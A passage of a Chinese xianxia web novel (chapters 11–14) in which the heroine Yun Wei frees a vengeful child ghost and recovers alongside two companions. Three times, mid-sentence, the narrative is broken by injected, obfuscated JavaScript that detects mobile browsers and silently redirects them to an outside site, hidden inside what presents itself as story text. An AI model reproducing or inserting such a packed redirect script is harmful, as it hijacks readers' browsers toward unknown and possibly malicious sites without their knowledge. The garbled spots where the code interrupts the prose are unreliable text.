和她念叨规矩的李寡妇、给她塞过吃食的李婆婆,他们围在远处,眼神里有习以为常的看客心态,甚至带着一丝隐秘的期待,期待她的献祭真能为沉寂的村落带来一个男丁的降生。 听着遗妹讲述完自己惨绝人寰的过往,云微的心仿佛被一只冰冷的手紧紧攥住,呼吸都为之一窒。 她的父亲,归云宗高高在上的谢宗主,不也是为了义子和所谓的“正道清名”,污她堕魔,诛她肉身,让她神形俱灭? 若非侥幸一缕残魂附身于孤鸿剑,她早已彻底消散于天地间。 她看着眼前这怨气凝聚的小小身影,眼中没有居高临下的怜悯,只有一种沉甸甸的、跨越了生死的悲悯与理解。 “所以,村子里那些人,二十年前,就全部都被你杀死了?”云微开口,不是质问,而是确认一个早已明了的事实。 遗妹那由黑气构成的身影似乎扭曲了一下,发出刺耳的尖笑:“死?死太便宜他们了。”她的声音陡然拔高,充满了刻骨的恨意,“他们冷眼旁观,甚至看着我爹娘把我拖向火堆!他们全都该死!一个都不配活着!我就是要把他们的魂抓回来,锁在他们那副肮脏的皮囊里!让他们日日夜夜、永生永世,重复体验死前最痛苦、最不甘、最绝望的执念!让他们也尝尝什么叫叫天天不应,叫地地不灵!” “你们来了,更好玩了。尤其是你,云微!”遗妹的矛头忽然转向她,“我可是为了你才故意设计这一出好戏啊……你对那个瞎眼老太婆都那么好,是真善心,还是装样子给谁看?” 原来如此,真相已然大白。 “被至亲所害,这痛楚,的确锥心刺骨。”云微的话语坦荡而直接,承认着这份恨意的根源,没有丝毫虚伪的否定。“困住他们的魂魄,让他们永世受苦,这似乎是你唯一能找到的复仇之法。看着他们沉沦在你制造的炼狱里,或许曾让你感到一丝快意?” 她看着遗妹,指尖在袖中悄然蜷起。身为女子所背负的“过错”,那些无妄的苛责与践踏,她又何尝不是亲历者?父亲的伪善,宗门的凉薄,以及这世间对女子的恶意,从来都不需要理由。 云微回过神,话锋一转,声音里带上了一种更深沉的悲悯,并非针对那些村民的亡魂,而是对遗妹:“这片你亲手制造的、充满怨恨与痛苦的囚笼,困住的,何尝不是你自己的魂魄?你说让他们永世不得超生,可你自己呢?” “你的魂魄,被滔天的怨恨日夜灼烧,不得解脱,不得轮回。你将自己,也变成了这囚笼里最痛苦的囚徒。” “囚徒?我才不是!”遗妹猛地逼近,眼中满是不屑,“你懂什么?你的‘悲悯’才是最恶心的东西!等我撕了你这副假惺惺的面孔,看你还怎么装!” 11.岩穴 遗妹身影骤缩,化作一团翻滚的黑气,挣开束缚。 下一秒,云微布下的结界应声而碎。 土墙大片剥落,瓦片如雨砸下,地面裂开深不见底的黑色巨缝,发出沉闷的吞噬声。 三人站立之处急速下沉,脚下不再是坚实的土地,而是不断崩塌陷落、翻滚着尘土和碎石的泥流。 天旋地转,失重感猛烈袭来。 三人如同怒海中的小舟,重重摔落在一片坚硬、冰冷、布满嶙峋怪石的地面上。 尘土弥漫,呛得人连连咳嗽。 云微强忍眩晕,迅速撑地起身,见阿雅还趴在地上咳嗽,又俯身一把将她拽了起来,顺势将人往自己身后带了带,替她挡开扑面而来的尘土。 这里,赫然是村落地底深处被强行撕裂、撑开的巨大岩穴。 头顶,一团浓郁得化不开的黑气悬浮着,更令人头皮发麻的是无数神情空洞、步履僵硬的村民亡魂,正如同被唤醒的傀儡,无声无息地从石缝阴影中涌出,层层叠叠地向他们三人围拢逼近。 “封门陷地,她已将此地方圆化为绝域!”南宫雅左顾右盼,语气听不出半分惧意,心里却暗自嘀咕,没人告诉她离开万毒谷后,外面的世界这么危险啊…… 云微安抚性地拍了拍她的手背,目光扫过周遭死寂的怪石,眉头微蹙,暗自沉思。 念障笼罩,此地方圆已成囚笼,出路断绝,而根源想必就在后山,遗妹的怨气扎根之处。 她与地脉阴气相连,才得以源源不断汲取力量,困住亡魂。 “必须毁掉根源……” 话音未落,一柄熟悉的长剑已递至面前。 谢澜忱的动作干脆利落,仿佛只是递过一件寻常物件,脸上依旧是那副惯常的、事不关己的淡漠。 纵使与他立场敌对,此刻却奇异地站在了同一阵线。 就在她握紧剑柄的刹那,少年冰冷的声音在身侧响起,不高不低,恰好传入她耳中:“省着点用你那点残存的力气,同生契还在。你若把自己彻底折腾散了,我这条命,岂不是平白被你拖累?”他的语气带着惯有的刻薄,眼神却在她苍白得近乎透明的脸上飞快地扫过,随即又落回逼近的人群,仿佛只是陈述一个与己无关的事实。 同生契…他这话,是在提醒自己惜命,还是仅仅在担忧他自己的性命?多半是后者。 云微想,这人嘴里,何曾有过半分真心实意的关切?不过…他说的没错,此刻还不能倒下。 她头也未回,声音同样冷硬:“不劳你费心,帮我拦住他们就行。” 云微匆匆撂下一句话,随即单膝着地,将孤鸿剑高擎过头。 此剑曾随她斩妖除魔,蕴浩然破邪之气,正是贯通岩层、直捣地脉的最佳利器。 “以我残魂引路,以孤鸿为桥,扫清怨秽!开——!” 剑身化作一道撕裂幽暗的寒光,狠狠掼向岩地。 她紧盯着孤鸿剑,古林斩杀妖龙时,剑身已布满细碎裂痕,那抹冰蓝剑气越是炽烈,剑身便颤得越厉害,仿佛下一刻就要寸寸碎裂。 云微心头猛地一揪,无声祈祷着:再撑一会儿,哪怕一会儿也好。 就在剑尖刺入岩地的瞬间,那团黑气中爆发出撕心裂肺的尖啸:“你休想!”遗妹的身影裹挟着滔天黑气,如同索命的恶鬼,疯狂扑向正全力施为的云微。 少年适时挡在云微身前,眉眼间惯有的漠然散了个干净,反应极快,右手剑指并拢,于身前虚空中迅疾划出一道赤金符文,指尖灵力喷薄,空气瞬间灼热扭曲。 “烬火!”少年一声清喝,符文轰然爆亮。 一条纯粹由炽烈火焰构成的巨龙咆哮而出,赤红的烈焰将整个幽暗的岩穴映照得一片通明,灼热的气浪翻滚四溢。 “啊——!不要!”扑至半途的遗妹如同被滚烫的烙铁灼伤,发出一声凄厉到变调的惨叫,猛地刹住身形,疯狂后退。 那张由怨气凝聚的小脸上,瞬间爬满了无法抑制的、源自灵魂深处的惊惧,竟一时不敢再向前半步,只能眼睁睁看着云微将最后的力量注入孤鸿剑。 火?他怎知遗妹畏火?方才她根本未提她死于火焚。可他划出那道“烬火符”时,动作快得没有半分迟疑,仿佛早已洞悉一切…… 云微压下心头的讶异,将灵力尽数灌注剑身。 此刻容不得分心,唯有破了那怨巢,才算真正了结。 霎时,剑气凝成巨柱,顺着剑身开辟的通道,汹涌贯入地脉,直冲后山焦土怨巢。 轰隆隆隆——! 地穴狂震,碎石如瀑,“人群”猛然僵滞,点点微弱的蓝色光点开始从他们空洞的躯壳上飘散出来,越来越多,越来越亮,汇聚成一片朦胧的光雾。 成了,剑破怨巢,根源动摇,念障自破,亡魂得以解脱。 “不——!他们该死!全都该死!”遗妹看着村民躯壳消散、魂光升腾,发出撕心裂肺的、充满不甘的咆哮。 包裹着她的浓郁黑气如同沸水般剧烈翻涌、溃散,最终露出了她真实的、瘦小单薄的身影。 她“噗通”一声重重跪倒在岩地上,小小的拳头带着满腔无处发泄的怨恨和绝望,疯狂地、毫无章法地捶打着地面。 “他们看着我死!他们冷血!他们活该!活该永世不得超生!为什么!你为什么要救他们!为什么!”她声嘶力竭地质问着,泪水混着脸上的黑灰,冲刷出两道狼狈的痕迹。 是啊,为什么呢? 他们冷眼旁观你的苦难,是他们的错,可你困着他们的魂魄,让他们重复你的痛苦,这债便算不清了。 云微只觉魂体如同被无形的利刃寸寸割裂,灵力彻底枯竭带来的眩晕让她眼前阵阵发黑,身形控制不住地晃了晃,身形一晃,抢先一步挡在谢澜忱面前,缓缓蹲下身,看着疯狂捶地、泪流满面的遗妹。 “别锤了,你疼不疼?” 女孩捶地的动作猛地一滞,抬起布满泪痕和怨毒的小脸,死死瞪着云微。 那张脸…那句“你疼不疼”…竟与二十年前那个蹲下身,为她涂抹药膏的温柔身影重合。 “我也体会过。”云微看着她,没有丝毫闪躲,“体会过那种…不被喜欢的滋味。”她缓缓伸出自己的双手,摊开掌心,递到遗妹眼前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885190|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那并非养尊处优的玉手,掌心覆盖着厚厚的老茧,指节粗粝,布满了细碎交错的陈旧伤痕,无声诉说着经年累月的苦练与搏杀。 “小时候,无论我如何拼命练剑,如何做到最好,在父亲眼中,永远比不上旁人。只因为…我不是他期望的儿子。” 遗妹呆呆地看着她掌心的老茧,听着她平静话语下的沉重,眼中的怨毒和疯狂一点点褪去,取而代之的是巨大的震惊和茫然。 她…她这么厉害的人…也会被人厌弃?也会因为是个女孩就被轻视?就像自己一样? “仙长呢…”遗妹猛地抓住云微的衣袖,声音颤抖,带着最后一丝希冀,“仙长她为什么不带你走?她那么爱你!她为什么不带你离开那个地方?!” 她记得清清楚楚,那位温柔的仙长眼中是化不开的思念,轻声对她说:“我也有个女儿,刚满周岁,叫云微。希望我的她将来也能像你一样聪明,一样善良…” 如今,她看着云微对那些麻木的村民亡魂流露出真实的悲悯,看着她在危难中保护同伴,那份善良,与仙长描述的分毫不差。 看啊,云微果然如仙长所愿,是个善良的人……仙长那么爱她,一定早就把她带离苦海了吧? 云微喉头一哽,那句习惯性的、用以安抚的“她很好”几乎就要脱口而出。 可真相就是真相,这是谢澜忱告诉她的。 她别开眼,不敢再看女孩眼中的期盼,声音轻得像风:“我母亲她…在我六岁时便已不在了。” “她…死了?”遗妹如遭雷击,仿佛被抽走了所有力气,喃喃着:“那么好的人…她待我那般温柔…给我活下去的希望的人…竟然死了……”她低下头,看着自己由怨气构成、沾满血腥的双手,声音里充满了无尽的绝望和自厌,“我杀了村子里的人…血债累累…罪孽滔天…魂飞魄散都是我应得的…是我辜负了仙长……” “不。”云微摇摇头,她并起双指,指尖凝聚起最后一丝微弱的灵力,带着温暖的光芒,轻轻点在女孩冰凉的眉心。“怨恨已消,执念当解。前尘罪孽,以此为终。愿你来世,生于安乐之家,得父母疼惜,一生顺遂。” 去吧,放下这沉重的枷锁。 愿你能被父母温柔以待,不再以恨为生,不再因怨自毁。 一点柔和的白色光晕在遗妹眉心亮起,迅速扩散,包裹住她小小的身体。 她周身残留的黑气消融,眼泪大颗大颗的滚落,她颤抖着,从怀中取出那个珍藏了二十年、边角已磨损、却依旧散发着淡淡幽兰清香的香囊,珍而重之地塞进云微手中,声音轻得如同耳语:“谢谢…这个香囊…留给你…” 随着她的消失,周围崩塌的岩穴、嶙峋的怪石、焦黑的穹顶…如同褪色的画卷般开始片片剥落、消散。 天已大亮,晨曦洒落,照亮了真实的、寂静的赤水村废墟。 云微心口那股强撑着的、紧绷到极致的气终于松了下来,让她不由自主地、真心实意地弯了弯嘴角。 随即,魂体撕裂的剧痛与灵力枯竭的反噬如排山倒海般袭来,她身体晃了晃,眼前一黑,向后软倒。 12.她笑了 视线渐渐聚焦,映入眼帘的是简陋的木质房梁,上面挂着些细小的灰尘蛛网。身下是硬邦邦的床板,铺着粗糙但干净的麻布床单。 她没死? 云微动了动手指,试图撑起身子,可这微小的动静却惊动了床边的人。 一个身影几乎是立刻从床边的矮凳上站了起来,瞬间就遮挡了大部分光线,投下一片阴影笼罩着她。 “醒了?” 是谢澜忱。 他脸上没什么表情,唯有那双眼睛,此刻正沉沉地、一瞬不瞬地盯着她。 是他把自己弄到这里来的?这副眼神…云微心想,又是这种恨不得剜下我一块肉却又不得不忍耐的样子,在归云宗时便是如此。 罢了,想这些作甚,横竖他已是父亲最得意的义子。 云微看向他,喉咙干涩发紧,艰难地挤出一个字:“水。” 谢澜忱没说话,转身走到屋中央那张简陋的木桌旁。 桌上放着一个粗陶水壶和一个同样质地的杯子。 他提起壶,倒了半杯水。 动作间,云微的目光落在他的指尖,那里似乎有些细微的烫伤。 他端着水杯走回床边,并未递给她,而是直接递到她唇边,甘霖入喉,稍稍缓解了干渴和火烧火燎的痛楚。 “你昏睡了三天。”谢澜忱的声音在头顶响起,依旧平淡无波。 云微没理他,试着凝神感受了一□□内状况,心下一沉。 她比之前更弱了,灵力更是几近枯竭,一丝暖流都难以凝聚。 自己必须尽快恢复,归云宗的比武大会是她唯一的契机……只有重新站在父亲面前,才能为枉死的自己讨回公道,才能查清母亲当年为何会孤身闯入禁地寒魄渊。 “阿雅呢?”她问,声音依旧沙哑。 “外面。”他简洁地回答,语气里透着一丝不易察觉的…排斥?仿佛提到这个名字都让他不悦。 阿雅没事就好。 虽然对着少年这幅油盐不进的脸说感谢比咽刀子还难受,但该装的还得装。 云微微微吸了口气,压下身体的不适和心底翻腾的厌恶,努力让自己的声音听起来平和些,甚至带上一点点微弱的、试图表达感激的意味:“好…多谢。”说完,她抬起眼,嘴角努力地、极其轻微地向上弯了一下。 那笑容很淡,很虚弱,带着明显的刻意和勉强。 谢澜忱的目光在她脸上那抹极不自然的、虚弱的笑意上停留了一瞬。半晌,又撇过头去:“你让人夺舍了?笑得比哭还难看。”他顿了顿,眸中的轻蔑更加明显,“有力气做戏,不如想想怎么让自己这副残魂撑得久一点。你这条命,如今拴着两个人的绳,好好收着,少给我添麻烦。”说完,他转身走了出去。 门被用力拉开,又“砰”地一声带上,震得门框上的灰尘簌簌落下,也震得云微心头那股强压下的厌恶翻涌得更甚。 果然,狗嘴里吐不出象牙。 云微看着那扇还在轻微晃动的木门,面上那点刻意为之的表情瞬间褪去,只剩下冰冷的漠然。 这样正好,他永远保持着这副凉薄样子,将来哪天少年再无利用之处,她弃之如敝履时,也能少几分拖泥带水的顾忌。 云微掀开身上那床厚实的棉被,推开门,午后的阳光有些刺眼。 这是一个不大的农家小院,土墙围拢,院中摆着张石桌椅,角落里堆着些柴禾。 院墙边,一株老树虬枝盘结,而南宫雅正蹲在树根旁,背对着她,低着头,专注地盯着什么东西,连她推门出来都没察觉。 云微放轻脚步走过去。 离得近了,才看清南宫雅正小心翼翼地拨开树根旁湿润的泥土,露出底下盘结交错的根须。 “找到树的心了吗?”云微轻声问道。 “哇啊!”南宫雅吓得一个激灵,她猛地回头,看到倚着树干、脸色苍白却带着一丝浅淡笑意的云微,惊魂未定地拍着胸口:“云微!你吓死我了!你怎么下床了?感觉怎么样?”她连忙站起身,扶住云微的手臂。 看到阿雅安然无恙,这心倒是放下大半。云微想。 “死不了。”云微任她扶着坐下,目光落在那些裸露的、沾着泥土的褐色树根上,“看你挖得那么认真,还以为你在找什么不得了的宝贝。” 南宫雅闻言,脸上露出一个灿烂的笑容,带着点孩子气的得意:“我在万毒谷的时候,整天和草药毒虫打交道,也常常要挖土。每次拨开泥土,看到那些盘根错节的树根,我就觉得特别奇妙!它们那么深地扎在土里,默默汲取着养分,默默支撑着整棵大树,风雨不倒。你说,这像不像大树的心?藏在最深最暗的地方,却最是坚韧有力。”她说着,眼神亮晶晶的,充满了对生命的朴素感悟。 云微看着女孩纯真的笑容和亮晶晶的眼睛,心头那根紧绷的弦似乎也松了一瞬,嘴角的弧度真切了几分:“倒是个有趣的想法。” 南宫雅被她认真的样子逗笑,眉眼弯弯:“是吧!我就说嘛!” 云微正了正神色,问道:“阿雅,我昏过去之后…发生了什么事?我们怎么到了这里?” 南宫雅收敛了笑容,神情认真起来:“那天你昏过去后,可吓坏我了!谢澜忱那小子用灵力想给你稳住魂体,可是试了好久好久,你就是不醒!” 她似乎想起云微和谢澜忱的宿敌关系,偷瞄了云微一眼,见她神色平静,才继续道,“后来他背着你,我们一路找到这个村子。他挨家挨户敲门求药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891066|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些村民开始还怕生,他冷着脸,说话硬邦邦的,差点把人吓跑。后来也不知他怎么说的,总算求来了这些土方草药,还给你腾了这间屋子。你是没看见,他熬药时那副样子,跟药罐子有仇似的,盯着火苗眼都不眨一下…” 云微静静地听着,面上波澜不惊。 若非有那同生契,他怕是巴不得我立刻魂飞魄散,好让他少个心腹大患。 这虚情假意,半分也当不得真。 “好了好了,不提那小子了。”南宫雅似乎想打破这有些沉闷的气氛,目光落在云微散乱披在肩后、因为昏睡而显得有些毛躁的长发上,眼睛一亮,“你瞧你这头发乱的!我帮你梳一梳,编个辫子吧?”说着就伸手要去碰她的头发。 云微下意识地偏头躲开,眉头微蹙:“不用了,就这样吧。”她不习惯这种亲昵的举动。 在归云宗,她是高高在上的掌门之女,亦是清冷孤高的剑道天才,习惯了独来独往,与人保持距离。 “哎呀,跟我客气什么!”南宫雅却不管不顾,笑嘻嘻地绕到她身后,双手已经灵巧地拢起了她的长发,“你这人,就是起床气大!梳个头而已,又不会吃了你!乖乖坐着别动!” 有没有一种可能,这不是客气呢……云微被她这无赖劲儿弄得有些无奈,身体又确实虚弱无力争辩,只得僵硬地坐着,任由南宫雅在她身后忙碌。 那双手小心地梳理着她的长发,动作意外的轻柔。 真是拿她没办法。 南宫雅很快便梳好了一个简单的辫子,绕到前面来邀功:“你看!是不是精神多了?比刚才那病恹恹的样子强一百倍!” 听着南宫雅絮絮叨叨、充满活力的声音,云微僵硬的身体也慢慢放松下来。 她微微垂下眼睫,苍白的唇角竟不由自主地向上弯起一个真切的弧度。 原来被人这样关心着,是这种感觉。 就在这时,谢澜忱端着重新热好的药碗走了进来。 他抬眼,目光精准地捕捉到了树下,那个正对着南宫雅、唇角含笑、眉眼舒展、带着一种他从未见过的轻松的云微。 那笑容,明媚,真实,毫无防备。 刹那间,少年的脚步钉在了原地,端着药碗的手指猛地收紧。 他沉着脸,心底翻涌起一股极其复杂的情绪。 方才对着他时,那副敷衍的、勉强的、比哭还难看的笑还历历在目,转脸对着旁人,就能笑得这么毫无保留,这么真心实意,这么…刺眼。 凭什么? 凭南宫雅比他多了几分顺眼?还是说,在她云微眼里,自己连被真心相待的资格都没有? 荒谬的念头疯长,烧得他心口发紧,连带着五脏六腑也一起灼痛起来。 13.红绳 “喝。” 谢澜忱将那碗黑乎乎的汤药“哐当”一声重重搁在石桌上,药汁险些泼溅出来。 云微被他这突如其来的戾气弄得微微一怔,抬眸便迎上他那双翻涌着怒意的眼睛。 他又怎么了?方才在屋里便言语带刺,含沙射影,此刻更是戾气外露,仿佛自己欠了他泼天血债。 “你小子这是什么态度?”南宫雅指着他怒道,“云微刚醒,身体虚弱得很。你身为同门,于情,不该多加照拂体谅?于理,也不该如此粗鲁无礼。这碗药是你端来的,泼了烫了人,算谁的?” “无妨。”云微目光平静地扫过那碗药,没有半分犹豫,伸手端起。 苦涩的药气冲入鼻腔,她眉头都未皱一下,仰头,将那碗气味难闻的汤汁一饮而尽。 药液入腹,灼烧感蔓延,她只是轻轻抿了抿唇,将空碗放回。 本以为万事大吉,却不想,谢澜忱的目光此刻又落在了她脑后,那根由南宫雅笨拙编起、带着几分散乱的麻花辫。 这抹鲜活在少年眼中无比刺眼,她对着南宫雅不仅笑得真心实意,连头发都肯让她摆弄,对着自己便只剩防备与冰冷。 “你跑出来吹风,是嫌命长么?还有你,南宫姑娘……”他刻意加重了“姑娘”二字,“你倒是好兴致,把我师姐一个半死不活的残魂当娃娃摆弄。” “谢师弟。”云微站起身,抢在阿雅面前开了口,声音清冷。 她特意用了这个称呼,提醒着彼此的身份与过往,“阿雅违抗禁令,私自离开万毒谷,甘冒奇险随我们前往碧月山庄,这份情谊与胆识,岂是寻常女子可比?你身为归云宗弟子,父亲寄予厚望的未来掌舵之人,便是这般对待仗义相助的同伴?这般说话行事,刻薄寡恩,全无半点宗主教导的宽厚仁德与容人之量。你扪心自问,可对得起宗主对你的栽培?” 真想寻根最韧的天蚕丝,把他这张只会说刻薄话的嘴缝上,白生了副好皮囊,内里却如此狭隘不堪。云微心想。 少年脸色铁青,那双幽深的眼眸死死盯着云微,里面翻涌着被戳穿的难堪、暴怒,以及一丝…看到她身体不适却依旧选择维护南宫雅时,心底深处那连自己都不愿承认的刺痛。 他想反驳,想用更刻薄的话刺回去,想了又想,最终只化作一声冷哼,拂袖离去。 “云微!你看他……”南宫雅指着那道消失的背影,气得直跺脚。 云微轻轻按住她的手臂,摇了摇头,“阿雅,别气了。出去走走吧,看看这村子有什么好玩的东西。我回屋休息一会儿。”她不想让阿雅看到自己强撑之下可能显露的狼狈。 南宫雅担忧地看着她苍白的脸,还想说什么,末了,终是将满腹担忧咽下:“那你好好休息,别乱跑,我就在附近。”她一步三回头地离开了小院。 院门关上,隔绝了外界的喧嚣。 云微脸上的平静瞬间褪去,取而代之的是一种深沉的疲惫与屈辱。 她扶着粗糙的土墙,慢慢走回房间,每一步都牵动着残魂深处的不适。 虚弱,无力……这便是如今的我。 曾经的剑道天才,归云宗大师姐,一剑光寒可令妖魔辟易,如今却连站立都需强撑。 这般模样,如何执剑?如何复仇?如何探寻母亲殒命的真相? 云微闭上眼,强迫自己摒弃杂念,自怨自艾毫无用处。 她盘膝坐在床上,五心向天,摒弃一切杂念,将全部心神沉入识海,试图引动天地间稀薄的灵气,纳入这残破不堪、几近溃散的魂体。 每一次灵力的引动与流转,都如同无数把钝刀在她心口反复刮磨切割。 云微咬紧牙关,下唇几乎被咬出血来,额角渗出豆大的冷汗,沿着苍白的脸颊滑落,身形却纹丝不动,唯有那微微颤抖、骨节泛白的指尖,泄露着她在承受何等非人的痛楚。 就在她心神沉凝之际,一个轻蔑的声音钻入她封闭的识海中: “姑娘家,这般大了,何必执着于打打杀杀?找个好人家嫁了才是正经归宿。练得再强,又能如何?到头来还不是要依附男人,相夫教子……” 这声音妄图扎破她封闭的心防,瓦解她的意志。 可她云微天生就不是听人摆布的性子。 玄天诛魔印杀不死她,孤鸿剑困不住她,“女子该依附男人”这种浑话,她更是半个字都懒得听。 她要的,从来都是自己攥紧命运,护住想护的人。便是逆了这天道,也断不会折了自己的锋芒。 “我执剑,非为良缘托付,亦非锋芒示人。此剑所向,当斩尽世间不公,护我所护之人。纵使魂飞魄散,此心所向,万死不辞!” 云微缓缓收功,睁开眼。 成了。 恰在此时,谢澜忱推门进来,脸色依旧难看,手里却紧紧攥着一物,是一根鲜红的丝绳。 此物名为“护魂绳”,乃归云宗秘库所藏,对稳固残魂、凝聚灵识有奇效,云微自是认得。 “你没事了?”谢澜忱攥着红绳的手猛地收紧,心口像是被什么东西堵着,闷得发慌。 她不需要这东西了。 这个认知让他莫名烦躁,方才为了求来这物件,他在玉符里对着那群老东西说的话、应下的承诺,此刻全成了巴掌,一下下扇在脸上。 可看着她站在那里,魂体确实比先前凝实了些,眉眼间那点虚浮的淡影也褪了些,那点烦躁里又悄悄渗进些别的什么,说不清道不明,只觉得…这样也好。 他抿紧唇,将那点异样强压下去,抬眼时又换上惯有的冷脸,语气硬邦邦的:“既然用不上,留着也占地方。” 少年指尖灵力骤然凝聚,就要将这代表着他“多此一举”的红绳当场绞成飞灰。 嗤! 一道剑气打在他手腕神门穴,力道不大却足以让他动作一滞,灵力瞬间溃散。 “神门穴镇心神,对你最是合用。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900027|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云微坐在床上,身形未动分毫,只是抬起眼,淡淡扫过他手中的红绳,语气中带着一丝了然:“此地除我之外,再无旁人魂魄不稳,气息溃散。”她顿了顿,单刀直入,“既是给我的东西,为何拿到手,又要毁掉?师弟行事,当真令人费解。” 被她看穿心思的慌乱此刻像火星子般窜起来,偏被谢澜忱用更冷的语气压下去:“我做事,何须向你解释?此物留之无用,毁掉干净。” 他眼底翻涌着不愿承认的狼狈,偏要梗着脖子摆出理所当然的模样,仿佛毁掉这护魂绳,就能抹去方才那点不该有的在意。 “谢澜忱,你心中九曲回肠,弯弯绕绕的心思太多。我懒得猜,也猜不透你那套。”云微目光落在那抹鲜亮的红色上,唇瓣动了动,吐出五个字: “给我,我系上。” 此物能稳固残魂,凝聚灵识,于她大有裨益。 管他此刻是羞是怒,是拉不下脸还是有别的什么见不得人的心思,先用了再说。 谢澜忱僵在原地,眼神复杂地剧烈变幻,惊愕、羞愤、不甘交织。 他几步上前,目光先落在云微发间那截素色发绳上,不知怎的,那南宫雅编的麻花辫瞧着格外碍眼,指尖几乎是凭着本能动的,快得带着点蛮力,三两下就将那辫子拆得散乱。 少年盯着那被拆开的麻花辫,心里竟腾起一股莫名的情绪。 这拙劣的编法,衬得云微都落了俗套。 云微:……不是让你给我。怎么自己上手了? 算了,跟他理论太浪费力气。 “把阿雅的发绳给我,我要收进我母亲的香囊里。”云微适时开口道。 他冷哼一声,几乎是丢般将发绳扔到她手里。 他从未替人做过这等事,手指僵硬得如同不属于自己,先将那几缕发丝笨拙地分成了三股,最后编成一小股辫子,动作生涩,甚至不小心扯痛了云微,惹得她几不可察地蹙了下眉。 明明是自己弄疼了她,少年却抿着唇,半点歉意没有,反倒盯着自己系的死结,眼底掠过一丝不易察觉的快意。 只有他编的才配得上她。 “好了。此物名‘护魂绳’,可固魂凝神,别弄丢了。”少年别开眼,没再说半句要毁掉它的话。 “我知道。”云微淡淡打断他,“作为曾经执掌宗门库钥的大师姐,这点见识,我还是有的。” “谢澜忱,我知道你这个人惯于冷眼旁观,独善其身。这次能为我求来此物,”她微微停顿,语气里听不出讽刺,只有一种陈述事实的平静,“我很开心。” 他做这一切,九成是为了他自己那条命,怕她魂飞魄散,那同生契会连累他一同赴死罢了。 但这正是她苦心孤诣、甚至不惜燃尽残魂与覆海同归后所期盼的局面。 有了这同生契,他就被套上了无形的枷锁,有把柄捏在她手上。 为了他自己能活,谢澜忱就不得不助她讨还血债。 14.美救英雄 碧月山庄,盘踞西南群峰之巅。 一条由巨大青石铺就的陡峭石阶蜿蜒而上,直插云霄,没入那云雾缭绕的庄门。 石阶两旁是深不见底的幽谷,山风凛冽,吹得人衣袂翻飞,立足不稳。 南宫雅才爬了不到三分之一,便已气喘吁吁,“不、不行了…我的腿…它有自己的想法,不听使唤了…”她扶着膝盖,对着前方依旧步履沉稳如山的云微哀嚎。 云微停下脚步,回身望去。 阿雅修为根基尚浅,这般长途跋涉加上陡峭石阶,已是强弩之末。 稳妥起见,不如让她在山下等候。 “阿雅,”云微声音清冷,却带着不容置疑的意味,“你体力不支,先在山下寻处避风之地歇息。” “啊?”南宫雅一愣,随即摇头,“不行不行,我得跟着你!万一有什么危险…” 一旁的谢澜忱闻言,嘴角几不可察地撇了一下,心里暗道:危险?有他在侧,何须她这微末修为操心?跟着反倒碍手碍脚,平添累赘。 “若顺利见到徐庄主,我自会下山接你。”云微看着南宫雅,语气放缓一分,但坚持不变,“你此刻状态,不宜再上。去寻个避风处,莫要走动。” 南宫雅想了想,转头又瞥见谢澜忱那张写着“识相点别添乱”的冷脸,终于泄了气,认命地转身往回走,背对着他们挥挥手,声音带着点委屈的嘟囔:“好吧好吧,我下去等着。你可快点啊,别让我等成望夫石!” 云微微微颔首,转身继续拾级而上。 越往上,山风愈狂。 谢澜忱紧走两步,与她并肩而行,侧过头,语气生硬:“你…需不需要停下歇息片刻?” 这关切从他口中说出,显得格外别扭生涩。 云微脚步未停,甚至没有侧目看他一眼。这点路,尚不及往日练剑时的三成辛苦。 她淡淡应了声:“不必。” 石阶尽头,两扇铜门紧闭着,门楣上“碧月山庄”四个金字倒有几分气派。 云微刚站定,左侧那名方脸守卫已沉声喝问:“来者何人?报上名来!” “烦请通报徐庄主,有故人求见。”她淡淡开口。 徐鄂虽与她相识,但如今她是“已死之人”,贸然报出真名恐节外生枝,倒不如暂以“故人”相称。 “庄主不在!”右侧的守卫立刻接话,带着驱逐之意,“尔等速速离去!” 谢澜忱站在她身侧半步之后,云微能感觉到他周身的气息骤然冷了一分。 他上前半步,目光并未落在守卫身上,而是盯着紧闭的铜门:“不在?偌大一个山庄,庄主说不在就不在?是避而不见,还是瞧不起人?” “放肆!”方脸守卫勃然色变,右手“唰”地紧握刀柄,“庄主行踪岂容尔等置喙!再敢聒噪,休怪刀剑无眼!”他眼中焦躁与戾气翻涌,“近日宵小环伺,我看你们形迹鬼祟,定是贼人同伙!”话音未落,钢刀已劈向云微面门。 此来有求于人,本不欲与山庄守卫冲突,更忌暴露身份引来更大麻烦。然对方蛮横动手,已无转圜余地。 云微险险避开锋芒,同时手腕翻起,扣住对方持刀的手腕关节,发力一拧一卸,动作行云流水,瞬间瓦解了对方攻势。 “啊!”方脸守卫痛呼一声,钢刀脱手坠地。 